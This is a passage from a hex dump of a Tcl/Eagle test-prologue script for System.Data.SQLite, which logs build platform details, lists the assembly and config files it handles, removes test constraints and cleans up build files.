s \.. 1d2a0 20 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 "==== W 1d2b0 41 52 4e 49 4e 47 3a 20 66 61 69 6c 65 64 20 74 ARNING: failed t 1d2c0 6f 20 6c 6f 61 64 20 70 65 72 2d 68 6f 73 74 20 o load per-host 1d2d0 73 65 74 74 69 6e 67 73 20 66 69 6c 65 20 5c 22 settings file \" 1d2e0 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 " \.. 1d2f0 20 20 20 20 20 20 20 20 20 24 68 6f 73 74 53 65$hostSe 1d300 74 74 69 6e 67 73 46 69 6c 65 4e 61 6d 65 20 22 ttingsFileName " 1d310 5c 22 2c 20 65 72 72 6f 72 3a 20 22 20 5c 6e 5c \", error: " \n\ 1d320 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d 0a 20 20 t $error \n].. 1d330 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 1d340 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 }.. 1d350 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b } else { 1d360 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 .. if 1d370 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 {!$quiet} then 1d380 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1d390 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 tputs $channel 1d3a0 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 [appendArgs \.. 1d3b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1d3c0 20 22 2d 2d 2d 2d 20 73 6b 69 70 70 65 64 20 6c "---- skipped l 1d3d0 6f 61 64 69 6e 67 20 70 65 72 2d 68 6f 73 74 20 oading per-host 1d3e0 74 65 73 74 20 73 65 74 74 69 6e 67 73 20 66 69 test settings fi 1d3f0 6c 65 20 5c 22 22 20 5c 0d 0a 20 20 20 20 20 20 le \"" \.. 1d400 20 20 20 20 20 20 20 20 20 20 20 20 24 68 6f 73$hos 1d410 74 53 65 74 74 69 6e 67 73 46 69 6c 65 4e 61 6d tSettingsFileNam 1d420 65 20 22 5c 22 2c 20 69 74 20 64 6f 65 73 20 6e e "\", it does n 1d430 6f 74 20 65 78 69 73 74 5c 6e 22 5d 0d 0a 20 20 ot exist\n"].. 1d440 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 }.. 1d450 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 1d460 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 }.. }.. 1d470 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 }..... proc 1d480 20 72 75 6e 53 51 4c 69 74 65 54 65 73 74 50 72 runSQLiteTestPr 1d490 6f 6c 6f 67 75 65 20 7b 7d 20 7b 0d 0a 20 20 20 ologue {} {.. 1d4a0 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f #.. # NO 1d4b0 54 45 3a 20 53 6b 69 70 20 72 75 6e 6e 69 6e 67 TE: Skip running 1d4c0 20 6f 75 72 20 63 75 73 74 6f 6d 20 70 72 6f 6c our custom prol 1d4d0 6f 67 75 65 20 69 66 20 74 68 65 20 6d 61 69 6e ogue if the main 1d4e0 20 6f 6e 65 20 68 61 73 20 62 65 65 6e 0d 0a 20 one has been.. 1d4f0 20 20 20 20 20 23 20 20 20 20 20 20 20 73 6b 69 # ski 1d500 70 70 65 64 2e 0d 0a 20 20 20 20 20 20 23 0d 0a pped... #.. 1d510 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f if {![info 1d520 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 70 72 6f exists ::no(pro 1d530 6c 6f 67 75 65 2e 65 61 67 6c 65 29 5d 7d 20 74 logue.eagle)]} t 1d540 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 hen {.. # 1d550 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 .. # NOTE 1d560 3a 20 4c 6f 61 64 20 74 68 65 20 22 62 65 66 6f : Load the "befo 1d570 72 65 2d 63 6f 6e 73 74 72 61 69 6e 74 73 22 20 re-constraints" 1d580 63 75 73 74 6f 6d 20 70 65 72 2d 75 73 65 72 20 custom per-user 1d590 61 6e 64 2f 6f 72 20 70 65 72 2d 68 6f 73 74 0d and/or per-host. 1d5a0 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # 1d5b0 20 74 65 73 74 20 73 65 74 74 69 6e 67 73 20 6e test settings n 1d5c0 6f 77 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a ow... #.. 1d5d0 20 20 20 20 20 20 20 20 75 70 6c 65 76 65 6c 20 uplevel 1d5e0 31 20 5b 6c 69 73 74 20 6c 6f 61 64 53 51 4c 69 1 [list loadSQLi 1d5f0 74 65 54 65 73 74 53 65 74 74 69 6e 67 73 20 24 teTestSettings $1d600 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 2e ::test_channel . 1d610 62 65 66 6f 72 65 5d 0d 0a 0d 0a 20 20 20 20 20 before].... 1d620 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 1d630 4e 4f 54 45 3a 20 43 68 65 63 6b 20 69 66 20 74 NOTE: Check if t 1d640 68 65 20 5b 6f 62 6a 65 63 74 5d 20 63 6f 6d 6d he [object] comm 1d650 61 6e 64 20 69 73 20 61 76 61 69 6c 61 62 6c 65 and is available 1d660 3b 20 69 66 20 6e 6f 74 2c 20 61 64 64 20 73 6f ; if not, add so 1d670 6d 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 me.. # 1d680 20 20 20 20 73 68 69 6d 73 20 74 6f 20 6d 61 6b shims to mak 1d690 65 20 74 68 65 20 74 65 73 74 20 73 75 69 74 65 e the test suite 1d6a0 20 72 75 6e 20 73 6d 6f 6f 74 68 65 72 2e 0d 0a run smoother... 1d6b0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 1d6c0 20 20 20 63 68 65 63 6b 46 6f 72 53 51 4c 69 74 checkForSQLit 1d6d0 65 4f 62 6a 65 63 74 43 6f 6d 6d 61 6e 64 20 24 eObjectCommand$ 1d6e0 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 0d 0a ::test_channel.. 1d6f0 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 1d700 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 44 65 74 # NOTE: Det 1d710 65 72 6d 69 6e 65 20 74 68 65 20 6e 61 6d 65 73 ermine the names 1d720 20 6f 66 20 74 68 65 20 6e 61 74 69 76 65 20 70 of the native p 1d730 6c 61 74 66 6f 72 6d 20 61 6e 64 20 61 72 63 68 latform and arch 1d740 69 74 65 63 74 75 72 65 2e 0d 0a 20 20 20 20 20 itecture... 1d750 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 73 65 #.. se 1d760 74 20 70 6c 61 74 66 6f 72 6d 20 5b 67 65 74 42 t platform [getB 1d770 75 69 6c 64 50 6c 61 74 66 6f 72 6d 20 74 72 75 uildPlatform tru 1d780 65 5d 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 e].. set 1d790 61 72 63 68 69 74 65 63 74 75 72 65 20 5b 61 72 architecture [ar 1d7a0 63 68 69 74 65 63 74 75 72 65 46 6f 72 50 6c 61 chitectureForPla 1d7b0 74 66 6f 72 6d 20 24 70 6c 61 74 66 6f 72 6d 5d tform $platform] 1d7c0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 1d7d0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 # NOTE: S 1d7e0 68 6f 77 20 74 68 65 20 70 6c 61 74 66 6f 72 6d how the platform 1d7f0 20 61 6e 64 20 61 72 63 68 69 74 65 63 74 75 72 and architectur 1d800 65 20 75 73 65 64 20 74 6f 20 68 65 6c 70 20 6c e used to help l 1d810 6f 63 61 74 65 20 74 68 65 0d 0a 20 20 20 20 20 ocate the.. 1d820 20 20 20 23 20 20 20 20 20 20 20 6e 61 74 69 76 # nativ 1d830 65 20 62 75 69 6c 64 20 66 69 6c 65 73 2e 0d 0a e build files... 1d840 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 1d850 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs$::test 1d860 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 1d870 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 1d880 20 20 20 20 22 2d 2d 2d 2d 20 70 6c 61 74 66 6f "---- platfo 1d890 72 6d 20 66 6f 72 20 6c 6f 63 61 74 69 6e 67 20 rm for locating 1d8a0 6e 61 74 69 76 65 20 62 75 69 6c 64 20 66 69 6c native build fil 1d8b0 65 73 20 69 73 20 5c 22 22 20 5c 0d 0a 20 20 20 es is \"" \.. 1d8c0 20 20 20 20 20 20 20 20 20 24 70 6c 61 74 66 6f $platfo 1d8d0 72 6d 20 5c 22 5c 6e 5d 0d 0a 0d 0a 20 20 20 20 rm \"\n].... 1d8e0 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs$::tes 1d8f0 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen 1d900 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 1d910 20 20 20 20 20 22 2d 2d 2d 2d 20 61 72 63 68 69 "---- archi 1d920 74 65 63 74 75 72 65 20 66 6f 72 20 6c 6f 63 61 tecture for loca 1d930 74 69 6e 67 20 6e 61 74 69 76 65 20 62 75 69 6c ting native buil 1d940 64 20 66 69 6c 65 73 20 69 73 20 5c 22 22 20 5c d files is \"" \ 1d950 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 61 .. $a 1d960 72 63 68 69 74 65 63 74 75 72 65 20 5c 22 5c 6e rchitecture \"\n 1d970 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a ].... #.. 1d980 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: 1d990 42 75 69 6c 64 20 61 20 6c 69 73 74 20 6f 66 20 Build a list of 1d9a0 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 configuration fi 1d9b0 6c 65 73 20 74 68 61 74 20 77 65 20 68 61 6e 64 les that we hand 1d9c0 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a le... #.. 1d9d0 20 20 20 20 20 20 20 20 73 65 74 20 63 6f 6e 66 set conf 1d9e0 69 67 46 69 6c 65 4e 61 6d 65 73 20 5b 6c 69 73 igFileNames [lis 1d9f0 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 t \.. 1da00 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c System.Data.SQL 1da10 69 74 65 2e 64 6c 6c 2e 63 6f 6e 66 69 67 5d 0d ite.dll.config]. 1da20 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 1da30 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 42 75 # NOTE: Bu 1da40 69 6c 64 20 61 20 6c 69 73 74 20 6f 66 20 61 75 ild a list of au 1da50 78 69 6c 69 61 72 79 20 4d 61 6e 61 67 65 64 20 xiliary Managed 1da60 44 65 62 75 67 67 69 6e 67 20 41 73 73 69 73 74 Debugging Assist 1da70 61 6e 74 73 20 28 4d 44 41 29 0d 0a 20 20 20 20 ants (MDA).. 1da80 20 20 20 20 23 20 20 20 20 20 20 20 63 6f 6e 66 # conf 1da90 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 73 20 iguration files 1daa0 74 68 61 74 20 77 65 20 68 61 6e 64 6c 65 2e 0d that we handle.. 1dab0 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 1dac0 20 20 20 20 73 65 74 20 6d 64 61 43 6f 6e 66 69 set mdaConfi 1dad0 67 46 69 6c 65 4e 61 6d 65 73 20 5b 6c 69 73 74 gFileNames [list 1dae0 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1daf0 45 61 67 6c 65 53 68 65 6c 6c 33 32 2e 65 78 65 EagleShell32.exe 1db00 2e 6d 64 61 2e 63 6f 6e 66 69 67 20 49 6e 73 74 .mda.config Inst 1db10 61 6c 6c 65 72 2e 65 78 65 2e 6d 64 61 2e 63 6f aller.exe.mda.co 1db20 6e 66 69 67 20 5c 0d 0a 20 20 20 20 20 20 20 20 nfig \.. 1db30 20 20 20 20 74 65 73 74 2e 65 78 65 2e 6d 64 61 test.exe.mda 1db40 2e 63 6f 6e 66 69 67 20 74 65 73 74 6c 69 6e 71 .config testlinq 1db50 2e 65 78 65 2e 6d 64 61 2e 63 6f 6e 66 69 67 20 .exe.mda.config 1db60 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 \.. t 1db70 65 73 74 65 66 36 2e 65 78 65 2e 6d 64 61 2e 63 estef6.exe.mda.c 1db80 6f 6e 66 69 67 5d 0d 0a 0d 0a 20 20 20 20 20 20 onfig].... 1db90 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e #.. # N 1dba0 4f 54 45 3a 20 42 75 69 6c 64 20 74 68 65 20 6c OTE: Build the l 1dbb0 69 73 74 20 6f 66 20 65 78 74 65 72 6e 61 6c 20 ist of external 1dbc0 66 69 6c 65 73 20 74 68 61 74 20 77 65 20 68 61 files that we ha 1dbd0 6e 64 6c 65 2e 20 20 53 6f 6d 65 20 6f 66 0d 0a ndle. Some of.. 1dbe0 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1dbf0 74 68 65 73 65 20 66 69 6c 65 73 20 6d 61 79 20 these files may 1dc00 62 65 20 6e 61 74 69 76 65 20 61 6e 64 2f 6f 72 be native and/or 1dc10 20 6d 61 6e 61 67 65 64 20 61 73 73 65 6d 62 6c managed assembl 1dc20 69 65 73 20 74 68 61 74 20 61 72 65 0d 0a 20 20 ies that are.. 1dc30 20 20 20 20 20 20 23 20 20 20 20 20 20 20 72 65 # re 1dc40 71 75 69 72 65 64 20 74 6f 20 70 65 72 66 6f 72 quired to perfor 1dc50 6d 20 76 61 72 69 6f 75 73 20 74 65 73 74 73 2e m various tests. 1dc60 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 1dc70 20 20 20 20 20 73 65 74 20 65 78 74 65 72 6e 61 set externa 1dc80 6c 46 69 6c 65 4e 61 6d 65 73 20 5b 6c 69 73 74 lFileNames [list 1dc90 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 1dca0 5b 66 69 6c 65 20 6a 6f 69 6e 20 45 6e 74 69 74 [file join Entit 1dcb0 79 46 72 61 6d 65 77 6f 72 6b 20 6c 69 62 20 5b yFramework lib [ 1dcc0 73 74 72 69 6e 67 20 6d 61 70 20 5b 6c 69 73 74 string map [list 1dcd0 20 46 78 20 22 22 5d 20 5b 73 74 72 69 6e 67 20 Fx ""] [string 1dce0 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d \.. m 1dcf0 61 70 20 5b 6c 69 73 74 20 6e 65 74 46 78 34 35 ap [list netFx45 1dd00 31 20 6e 65 74 46 78 34 35 20 6e 65 74 46 78 34 1 netFx45 netFx4 1dd10 35 32 20 6e 65 74 46 78 34 35 20 6e 65 74 46 78 52 netFx45 netFx 1dd20 34 36 20 6e 65 74 46 78 34 35 20 5c 0d 0a 20 20 46 netFx45 \.. 1dd30 20 20 20 20 20 20 20 20 20 20 6e 65 74 46 78 34 netFx4 1dd40 36 31 20 6e 65 74 46 78 34 35 5d 20 5b 67 65 74 61 netFx45] [get 1dd50 42 75 69 6c 64 4e 65 74 46 78 5d 5d 5d 20 45 6e BuildNetFx]]] En 1dd60 74 69 74 79 46 72 61 6d 65 77 6f 72 6b 2e 64 6c tityFramework.dl 1dd70 6c 5d 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 l]].... # 1dd80 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 .. # NOTE 1dd90 3a 20 42 75 69 6c 64 20 74 68 65 20 6c 69 73 74 : Build the list 1dda0 20 6f 66 20 6e 61 74 69 76 65 20 61 73 73 65 6d of native assem 1ddb0 62 6c 79 20 66 69 6c 65 73 20 74 68 61 74 20 77 bly files that w 1ddc0 65 20 68 61 6e 64 6c 65 2e 20 20 54 68 65 0d 0a e handle. The.. 1ddd0 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 1dde0 72 65 61 73 6f 6e 20 74 68 65 20 22 53 79 73 74 reason the "Syst 1ddf0 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 em.Data.SQLite.d 1de00 6c 6c 22 20 66 69 6c 65 20 69 73 20 69 6e 63 6c ll" file is incl 1de10 75 64 65 64 20 68 65 72 65 20 69 73 0d 0a 20 20 uded here is.. 1de20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 62 65 # be 1de30 63 61 75 73 65 20 69 74 20 63 6f 75 6c 64 20 62 cause it could b 1de40 65 20 74 68 65 20 6d 69 78 65 64 2d 6d 6f 64 65 e the mixed-mode 1de50 20 61 73 73 65 6d 62 6c 79 2e 0d 0a 20 20 20 20 assembly... 1de60 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 73 #.. s 1de70 65 74 20 6e 61 74 69 76 65 46 69 6c 65 4e 61 6d et nativeFileNam 1de80 65 73 20 5b 67 65 74 4e 61 74 69 76 65 4c 69 62 es [getNativeLib 1de90 72 61 72 79 46 69 6c 65 4e 61 6d 65 73 4f 6e 6c raryFileNamesOnl 1dea0 79 5d 0d 0a 20 20 20 20 20 20 20 20 6c 61 70 70 y].. lapp 1deb0 65 6e 64 20 6e 61 74 69 76 65 46 69 6c 65 4e 61 end nativeFileNa 1dec0 6d 65 73 20 53 51 4c 69 74 65 2e 49 6e 74 65 72 mes SQLite.Inter 1ded0 6f 70 2e 64 6c 6c 20 53 79 73 74 65 6d 2e 44 61 op.dll System.Da 1dee0 74 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 0d 0a 0d ta.SQLite.dll... 1def0 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 1df00 20 20 20 20 23 20 4e 4f 54 45 3a 20 42 75 69 6c # NOTE: Buil 1df10 64 20 74 68 65 20 6c 69 73 74 20 6f 66 20 6d 61 d the list of ma 1df20 6e 61 67 65 64 20 61 73 73 65 6d 62 6c 79 20 66 naged assembly f 1df30 69 6c 65 73 20 74 68 61 74 20 77 65 20 68 61 6e iles that we han 1df40 64 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d dle... #. 1df50 0a 20 20 20 20 20 20 20 20 73 65 74 20 6d 61 6e . set man 1df60 61 67 65 64 46 69 6c 65 4e 61 6d 65 73 20 5b 6c agedFileNames [l 1df70 69 73 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 ist \.. 1df80 20 20 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 System.Data.S 1df90 51 4c 69 74 65 2e 64 6c 6c 20 53 79 73 74 65 6d QLite.dll System 1dfa0 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 4c 69 6e .Data.SQLite.Lin 1dfb0 71 2e 64 6c 6c 20 5c 0d 0a 20 20 20 20 20 20 20 q.dll \.. 1dfc0 20 20 20 20 20 53 79 73 74 65 6d 2e 44 61 74 61 System.Data 1dfd0 2e 53 51 4c 69 74 65 2e 45 46 36 2e 64 6c 6c 5d .SQLite.EF6.dll] 1dfe0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 1dff0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 52 # NOTE: R 1e000 65 6d 6f 76 65 20 61 6e 79 20 74 65 73 74 20 63 emove any test c 1e010 6f 6e 73 74 72 61 69 6e 74 73 20 74 68 61 74 20 onstraints that 1e020 72 65 66 65 72 20 74 6f 20 74 68 65 20 6e 61 74 refer to the nat 1e030 69 76 65 20 61 6e 64 2f 6f 72 0d 0a 20 20 20 20 ive and/or.. 1e040 20 20 20 20 23 20 20 20 20 20 20 20 6d 61 6e 61 # mana 1e050 67 65 64 20 61 73 73 65 6d 62 6c 79 20 66 69 6c ged assembly fil 1e060 65 73 20 74 68 61 74 20 77 65 20 68 61 6e 64 6c es that we handl 1e070 65 20 75 6e 6c 65 73 73 20 66 6f 72 62 69 64 64 e unless forbidd 1e080 65 6e 20 66 72 6f 6d 0d 0a 20 20 20 20 20 20 20 en from.. 1e090 20 23 20 20 20 20 20 20 20 64 6f 69 6e 67 20 73 # doing s 1e0a0 6f 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 o... #.. 1e0b0 20 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 if {![inf 1e0c0 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 73 71 o exists ::no(sq 1e0d0 6c 69 74 65 52 65 6d 6f 76 65 43 6f 6e 73 74 72 liteRemoveConstr 1e0e0 61 69 6e 74 73 29 5d 7d 20 74 68 65 6e 20 7b 0d aints)]} then {. 1e0f0 0a 20 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 . forea 1e100 63 68 20 66 69 6c 65 4e 61 6d 65 20 24 63 6f 6e ch fileName$con 1e110 66 69 67 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a figFileNames {.. 1e120 20 20 20 20 20 20 20 20 20 20 20 20 72 65 6d 6f remo 1e130 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 veConstraint [ap 1e140 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 24 pendArgs file_ $1e150 66 69 6c 65 4e 61 6d 65 5d 0d 0a 20 20 20 20 20 fileName].. 1e160 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 1e170 20 20 20 20 66 6f 72 65 61 63 68 20 66 69 6c 65 foreach file 1e180 4e 61 6d 65 20 24 6d 64 61 43 6f 6e 66 69 67 46 Name$mdaConfigF 1e190 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 ileNames {.. 1e1a0 20 20 20 20 20 20 20 20 72 65 6d 6f 76 65 43 6f removeCo 1e1b0 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 nstraint [append 1e1c0 41 72 67 73 20 66 69 6c 65 5f 20 24 66 69 6c 65 Args file_ $file 1e1d0 4e 61 6d 65 5d 0d 0a 20 20 20 20 20 20 20 20 20 Name].. 1e1e0 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 }.... 1e1f0 66 6f 72 65 61 63 68 20 66 69 6c 65 4e 61 6d 65 foreach fileName 1e200 20 24 65 78 74 65 72 6e 61 6c 46 69 6c 65 4e 61$externalFileNa 1e210 6d 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 mes {.. 1e220 20 20 20 72 65 6d 6f 76 65 43 6f 6e 73 74 72 61 removeConstra 1e230 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 int [appendArgs 1e240 66 69 6c 65 5f 20 5b 66 69 6c 65 20 74 61 69 6c file_ [file tail 1e250 20 24 66 69 6c 65 4e 61 6d 65 5d 5d 0d 0a 20 20 $fileName]].. 1e260 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 }.... 1e270 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 66 foreach f 1e280 69 6c 65 4e 61 6d 65 20 24 6e 61 74 69 76 65 46 ileName$nativeF 1e290 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 ileNames {.. 1e2a0 20 20 20 20 20 20 20 20 72 65 6d 6f 76 65 43 6f removeCo 1e2b0 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 nstraint [append 1e2c0 41 72 67 73 20 66 69 6c 65 5f 20 24 66 69 6c 65 Args file_ $file 1e2d0 4e 61 6d 65 5d 0d 0a 20 20 20 20 20 20 20 20 20 Name].. 1e2e0 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 }.... 1e2f0 66 6f 72 65 61 63 68 20 66 69 6c 65 4e 61 6d 65 foreach fileName 1e300 20 24 6d 61 6e 61 67 65 64 46 69 6c 65 4e 61 6d$managedFileNam 1e310 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 es {.. 1e320 20 20 72 65 6d 6f 76 65 43 6f 6e 73 74 72 61 69 removeConstrai 1e330 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 66 nt [appendArgs f 1e340 69 6c 65 5f 20 24 66 69 6c 65 4e 61 6d 65 5d 0d ile_ $fileName]. 1e350 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 . }.. 1e360 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 1e370 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 1e380 4e 4f 54 45 3a 20 53 6b 69 70 20 61 6c 6c 20 53 NOTE: Skip all S 1e390 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 ystem.Data.SQLit 1e3a0 65 20 72 65 6c 61 74 65 64 20 66 69 6c 65 20 68 e related file h 1e3b0 61 6e 64 6c 69 6e 67 20 28 64 65 6c 65 74 69 6e andling (deletin 1e3c0 67 2c 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 g,.. # 1e3d0 20 20 20 20 63 6f 70 79 69 6e 67 2c 20 61 6e 64 copying, and 1e3e0 20 6c 6f 61 64 69 6e 67 29 20 69 66 20 69 6e 73 loading) if ins 1e3f0 74 72 75 63 74 65 64 2e 0d 0a 20 20 20 20 20 20 tructed... 1e400 20 20 23 0d 0a 20 20 20 20 20 20 20 20 69 66 20 #.. if 1e410 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {![info exists : 1e420 3a 6e 6f 28 73 71 6c 69 74 65 46 69 6c 65 73 29 :no(sqliteFiles) 1e430 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 1e440 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 1e450 20 20 23 20 4e 4f 54 45 3a 20 53 6b 69 70 20 74 # NOTE: Skip t 1e460 72 79 69 6e 67 20 74 6f 20 64 65 6c 65 74 65 20 rying to delete 1e470 61 6e 79 20 66 69 6c 65 73 20 69 66 20 69 6e 73 any files if ins 1e480 74 72 75 63 74 65 64 2e 0d 0a 20 20 20 20 20 20 tructed... 1e490 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. 1e4a0 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 if {![info exis 1e4b0 74 73 20 3a 3a 6e 6f 28 64 65 6c 65 74 65 53 71 ts ::no(deleteSq 1e4c0 6c 69 74 65 46 69 6c 65 73 29 5d 7d 20 74 68 65 liteFiles)]} the 1e4d0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 1e4e0 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 if {![info exis 1e4f0 74 73 20 3a 3a 6e 6f 28 64 65 6c 65 74 65 53 71 ts ::no(deleteSq 1e500 6c 69 74 65 43 6f 6e 66 69 67 46 69 6c 65 73 29 liteConfigFiles) 1e510 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 1e520 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 foreach 1e530 20 66 69 6c 65 4e 61 6d 65 20 24 63 6f 6e 66 69 fileName$confi 1e540 67 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 gFileNames {.. 1e550 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 tr 1e560 79 44 65 6c 65 74 65 42 69 6e 61 72 79 46 69 6c yDeleteBinaryFil 1e570 65 20 24 66 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 e $fileName.. 1e580 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 }.. 1e590 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 }.... 1e5a0 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 if {! 1e5b0 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 1e5c0 6f 28 64 65 6c 65 74 65 53 71 6c 69 74 65 45 78 o(deleteSqliteEx 1e5d0 74 65 72 6e 61 6c 46 69 6c 65 73 29 5d 7d 20 74 ternalFiles)]} t 1e5e0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 1e5f0 20 20 20 20 20 66 6f 72 65 61 63 68 20 66 69 6c foreach fil 1e600 65 4e 61 6d 65 20 24 6d 64 61 43 6f 6e 66 69 67 eName$mdaConfig 1e610 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 FileNames {.. 1e620 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 try 1e630 44 65 6c 65 74 65 42 75 69 6c 64 46 69 6c 65 20 DeleteBuildFile 1e640 24 66 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 20 20 $fileName.. 1e650 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.... 1e660 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 65 fore 